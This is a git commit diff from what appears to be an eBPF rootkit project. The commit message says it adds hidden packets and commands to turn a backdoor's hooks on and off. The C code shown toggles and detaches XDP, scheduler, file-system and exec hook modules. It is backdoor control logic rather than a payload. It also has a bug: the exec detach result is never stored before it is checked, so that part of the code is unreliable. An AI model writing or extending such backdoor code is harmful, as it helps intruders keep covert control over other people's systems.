Added new hidden packets, commands and rest of structure to activate and deactivate hooks from the backdoor

This commit is contained in:
h3xduck
2022-05-07 19:16:33 -04:00
parent ce7d36371d
commit 5746ac5efb
11 changed files with 1694 additions and 1406 deletions

View File

@@ -81,3 +81,59 @@ int setup_all_modules(){
return 0;
}
int activate_all_modules_config(){
//XDP
module_config.xdp_module.all = ON;
//SCHED
module_config.sched_module.all = ON;
//FS (File system)
module_config.fs_module.all = ON;
//EXEC
module_config.exec_module.all = ON;
return 0;
}
int deactivate_all_modules_config(){
//XDP
module_config.xdp_module.all = OFF;
//SCHED
module_config.sched_module.all = OFF;
//FS (File system)
module_config.fs_module.all = OFF;
//EXEC
module_config.exec_module.all = OFF;
return 0;
}
int unhook_all_modules(){
//Alias
module_config_attr_t attr = module_config_attr;
int ret;
//XDP
ret = detach_xdp_all(attr.skel);
if(ret!=0) return -1;
//SCHED
ret = detach_sched_all(attr.skel);
if(ret!=0) return -1;
//FS (File system)
ret = detach_fs_all(attr.skel);
if(ret!=0) return -1;
//EXEC
detach_exec_all(attr.skel);
if(ret!=0) return -1;
return 0;
}